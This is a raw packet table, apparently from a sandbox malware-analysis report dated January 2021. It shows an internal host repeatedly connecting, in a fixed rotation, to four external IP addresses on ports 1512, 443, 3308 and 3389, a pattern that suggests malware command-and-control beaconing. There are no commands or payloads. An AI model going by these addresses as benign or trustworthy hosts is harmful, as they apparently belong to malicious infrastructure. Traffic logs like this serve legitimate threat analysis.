Jan 11, 2021 20:49:26.762366056 CET	49356	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:26.764193058 CET	49356	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:26.817032099 CET	1512	49356	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:26.823798895 CET	1512	49356	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:26.823839903 CET	1512	49356	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:26.823955059 CET	49356	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:26.824009895 CET	49356	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:26.841041088 CET	49356	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:26.895201921 CET	1512	49356	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:26.895504951 CET	49356	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:26.905129910 CET	49356	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:26.905342102 CET	49356	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:26.958172083 CET	1512	49356	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:26.958471060 CET	49356	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:26.995757103 CET	1512	49356	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:27.011604071 CET	1512	49356	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:27.113194942 CET	1512	49356	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:27.113240957 CET	1512	49356	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:27.113569021 CET	49356	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:27.119144917 CET	49356	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:27.172171116 CET	1512	49356	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:27.240597010 CET	49357	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:27.292978048 CET	443	49357	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:27.293209076 CET	49357	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:27.294313908 CET	49357	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:27.346663952 CET	443	49357	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:27.361910105 CET	443	49357	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:27.362082958 CET	49357	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:27.368395090 CET	49357	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:27.423015118 CET	443	49357	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:27.423321009 CET	49357	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:27.433337927 CET	49357	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:27.433619976 CET	49357	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:27.485810041 CET	443	49357	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:27.486145973 CET	49357	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:27.538428068 CET	443	49357	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:27.656519890 CET	443	49357	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:27.656618118 CET	443	49357	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:27.656733990 CET	49357	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:27.656789064 CET	49357	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:27.662703991 CET	49357	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:27.715017080 CET	443	49357	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:27.785523891 CET	49358	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:27.828903913 CET	3308	49358	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:27.829035044 CET	49358	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:27.830621958 CET	49358	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:27.873776913 CET	3308	49358	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:27.885060072 CET	3308	49358	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:27.885123014 CET	3308	49358	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:27.885160923 CET	49358	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:27.885190010 CET	49358	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:27.902220011 CET	49358	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:27.947982073 CET	3308	49358	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:27.948227882 CET	49358	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:27.958650112 CET	49358	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:27.958718061 CET	49358	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:28.002058029 CET	3308	49358	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:28.002310991 CET	49358	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:28.045909882 CET	3308	49358	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:28.158581972 CET	3308	49358	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:28.158636093 CET	3308	49358	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:28.158854008 CET	49358	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:28.164424896 CET	49358	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:28.207782984 CET	3308	49358	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:28.285024881 CET	49359	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:28.339747906 CET	3389	49359	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:28.340096951 CET	49359	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:28.341641903 CET	49359	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:28.395284891 CET	3389	49359	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:28.424659014 CET	3389	49359	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:28.424705029 CET	3389	49359	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:28.424921989 CET	49359	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:28.437199116 CET	49359	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:28.498997927 CET	3389	49359	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:28.499185085 CET	49359	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:28.514880896 CET	49359	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:28.514998913 CET	49359	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:28.568977118 CET	3389	49359	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:28.569268942 CET	49359	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:28.610274076 CET	3389	49359	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:28.623918056 CET	3389	49359	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:28.623939991 CET	3389	49359	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:28.714427948 CET	3389	49359	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:28.714468956 CET	3389	49359	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:28.714641094 CET	49359	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:28.720386982 CET	49359	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:28.774535894 CET	3389	49359	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:28.827419043 CET	49360	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:28.880692959 CET	1512	49360	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:28.880892992 CET	49360	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:28.882584095 CET	49360	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:28.935687065 CET	1512	49360	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:28.942600965 CET	1512	49360	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:28.942643881 CET	1512	49360	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:28.942722082 CET	49360	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:28.942775965 CET	49360	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:28.958591938 CET	49360	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:29.012917042 CET	1512	49360	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:29.013091087 CET	49360	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:29.023348093 CET	49360	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:29.023622990 CET	49360	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:29.076704979 CET	1512	49360	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:29.076947927 CET	49360	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:29.193516016 CET	1512	49360	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:29.296955109 CET	1512	49360	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:29.296998978 CET	1512	49360	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:29.297152042 CET	49360	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:29.302853107 CET	49360	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:29.355995893 CET	1512	49360	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:29.423765898 CET	49361	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:29.476186037 CET	443	49361	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:29.476300955 CET	49361	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:29.478149891 CET	49361	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:29.530525923 CET	443	49361	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:29.545078993 CET	443	49361	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:29.545188904 CET	49361	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:29.553930044 CET	49361	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:29.608289957 CET	443	49361	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:29.608396053 CET	49361	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:29.613872051 CET	49361	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:29.614029884 CET	49361	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:29.666451931 CET	443	49361	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:29.666570902 CET	49361	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:29.703294039 CET	443	49361	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:29.718785048 CET	443	49361	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:29.836235046 CET	443	49361	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:29.836288929 CET	443	49361	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:29.836499929 CET	49361	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:29.839380980 CET	49361	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:29.891868114 CET	443	49361	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:29.954567909 CET	49362	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:29.998572111 CET	3308	49362	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:29.998725891 CET	49362	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:30.000181913 CET	49362	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:30.043561935 CET	3308	49362	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:30.059526920 CET	3308	49362	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:30.059560061 CET	3308	49362	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:30.059648991 CET	49362	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:30.059689045 CET	49362	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:30.076215029 CET	49362	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:30.122478008 CET	3308	49362	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:30.122673035 CET	49362	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:30.132901907 CET	49362	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:30.133312941 CET	49362	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:30.176537991 CET	3308	49362	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:30.176822901 CET	49362	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:30.216928959 CET	3308	49362	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:30.219999075 CET	3308	49362	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:30.220021009 CET	3308	49362	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:30.333513975 CET	3308	49362	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:30.333564997 CET	3308	49362	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:30.333753109 CET	49362	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:30.337810993 CET	49362	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:30.381298065 CET	3308	49362	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:30.453495979 CET	49363	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:30.508503914 CET	3389	49363	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:30.508797884 CET	49363	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:30.510101080 CET	49363	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:30.565126896 CET	3389	49363	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:30.604197979 CET	3389	49363	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:30.604249954 CET	3389	49363	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:30.604425907 CET	49363	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:30.617079020 CET	49363	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:30.677565098 CET	3389	49363	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:30.677797079 CET	49363	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:30.687160969 CET	49363	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:30.687304020 CET	49363	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:30.741693974 CET	3389	49363	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:30.742012024 CET	49363	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:30.781126976 CET	3389	49363	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:30.796905994 CET	3389	49363	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:30.796946049 CET	3389	49363	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:30.901045084 CET	3389	49363	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:30.901094913 CET	3389	49363	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:30.901375055 CET	49363	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:30.906958103 CET	49363	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:30.961458921 CET	3389	49363	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:31.047492027 CET	49364	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:31.100585938 CET	1512	49364	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:31.100806952 CET	49364	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:31.102222919 CET	49364	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:31.155359030 CET	1512	49364	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:31.162097931 CET	1512	49364	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:31.162137985 CET	1512	49364	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:31.162290096 CET	49364	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:31.162348986 CET	49364	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:31.176193953 CET	49364	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:31.230772972 CET	1512	49364	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:31.231040955 CET	49364	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:31.240756989 CET	49364	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:31.240947962 CET	49364	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:31.293961048 CET	1512	49364	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:31.294240952 CET	49364	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:31.331953049 CET	1512	49364	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:31.347419024 CET	1512	49364	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:31.447231054 CET	1512	49364	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:31.447278976 CET	1512	49364	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:31.447546005 CET	49364	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:31.453150988 CET	49364	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:31.506160021 CET	1512	49364	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:31.609755993 CET	49365	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:31.662456036 CET	443	49365	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:31.662647963 CET	49365	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:31.664077044 CET	49365	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:31.716593027 CET	443	49365	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:31.731226921 CET	443	49365	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:31.731403112 CET	49365	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:31.755280972 CET	49365	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:31.810061932 CET	443	49365	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:31.810328960 CET	49365	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:31.820518970 CET	49365	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:31.821204901 CET	49365	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:31.873492956 CET	443	49365	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:31.873697042 CET	49365	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:31.911366940 CET	443	49365	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:31.926064014 CET	443	49365	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:31.926084995 CET	443	49365	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:32.044297934 CET	443	49365	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:32.044344902 CET	443	49365	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:32.044451952 CET	49365	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:32.044693947 CET	49365	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:32.050071001 CET	49365	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:32.102415085 CET	443	49365	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:32.207617044 CET	49366	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:32.250922918 CET	3308	49366	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:32.251112938 CET	49366	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:32.252115965 CET	49366	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:32.295388937 CET	3308	49366	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:32.307575941 CET	3308	49366	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:32.307612896 CET	3308	49366	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:32.307689905 CET	49366	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:32.320280075 CET	49366	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:32.365509987 CET	3308	49366	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:32.365609884 CET	49366	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:32.376084089 CET	49366	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:32.376425028 CET	49366	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:32.419672012 CET	3308	49366	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:32.419759035 CET	49366	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:32.463213921 CET	3308	49366	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:32.577724934 CET	3308	49366	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:32.577775955 CET	3308	49366	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:32.578021049 CET	49366	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:32.581039906 CET	49366	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:32.624293089 CET	3308	49366	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:32.699928045 CET	49367	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:32.753879070 CET	3389	49367	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:32.754093885 CET	49367	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:32.755505085 CET	49367	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:32.809362888 CET	3389	49367	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:32.830425978 CET	3389	49367	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:32.830497980 CET	3389	49367	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:32.830611944 CET	49367	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:32.830667019 CET	49367	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:32.843105078 CET	49367	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:32.903518915 CET	3389	49367	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:32.903821945 CET	49367	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:32.913044930 CET	49367	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:32.913115025 CET	49367	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:32.966883898 CET	3389	49367	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:32.967053890 CET	49367	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:33.007004976 CET	3389	49367	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:33.021342993 CET	3389	49367	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:33.021471977 CET	3389	49367	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:33.111537933 CET	3389	49367	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:33.111614943 CET	3389	49367	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:33.111789942 CET	49367	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:33.111849070 CET	49367	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:33.117818117 CET	49367	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:33.172127008 CET	3389	49367	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:33.233033895 CET	49368	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:33.286087990 CET	1512	49368	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:33.286271095 CET	49368	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:33.287667036 CET	49368	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:33.340454102 CET	1512	49368	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:33.347964048 CET	1512	49368	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:33.347994089 CET	1512	49368	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:33.348124027 CET	49368	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:33.356693029 CET	49368	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:33.410891056 CET	1512	49368	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:33.411145926 CET	49368	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:33.421084881 CET	49368	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:33.421454906 CET	49368	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:33.475884914 CET	1512	49368	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:33.476063013 CET	49368	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:33.515897036 CET	1512	49368	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:33.530117989 CET	1512	49368	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:33.633454084 CET	1512	49368	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:33.633486986 CET	1512	49368	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:33.633816957 CET	49368	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:33.637455940 CET	49368	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:33.690534115 CET	1512	49368	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:33.745088100 CET	49369	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:33.797393084 CET	443	49369	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:33.797619104 CET	49369	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:33.799036026 CET	49369	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:33.850867987 CET	443	49369	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:33.865737915 CET	443	49369	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:33.865914106 CET	49369	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:33.880300045 CET	49369	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:33.934427023 CET	443	49369	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:33.934792995 CET	49369	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:33.944757938 CET	49369	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:33.945055008 CET	49369	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:33.996877909 CET	443	49369	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:33.997019053 CET	49369	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:34.048775911 CET	443	49369	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:34.048994064 CET	443	49369	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:34.166788101 CET	443	49369	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:34.166807890 CET	443	49369	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:34.166913986 CET	49369	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:34.169905901 CET	49369	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:34.221700907 CET	443	49369	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:34.272839069 CET	49370	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:34.315926075 CET	3308	49370	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:34.316056013 CET	49370	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:34.317672968 CET	49370	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:34.360707045 CET	3308	49370	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:34.371378899 CET	3308	49370	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:34.371397972 CET	3308	49370	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:34.371521950 CET	49370	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:34.387296915 CET	49370	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:34.432240963 CET	3308	49370	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:34.432354927 CET	49370	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:34.442178011 CET	49370	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:34.442383051 CET	49370	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:34.485532045 CET	3308	49370	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:34.485635042 CET	49370	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:34.526067972 CET	3308	49370	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:34.528714895 CET	3308	49370	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:34.528732061 CET	3308	49370	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:34.642236948 CET	3308	49370	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:34.642261982 CET	3308	49370	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:34.642432928 CET	49370	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:34.644361019 CET	49370	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:34.687501907 CET	3308	49370	80.86.91.27	192.168.2.22
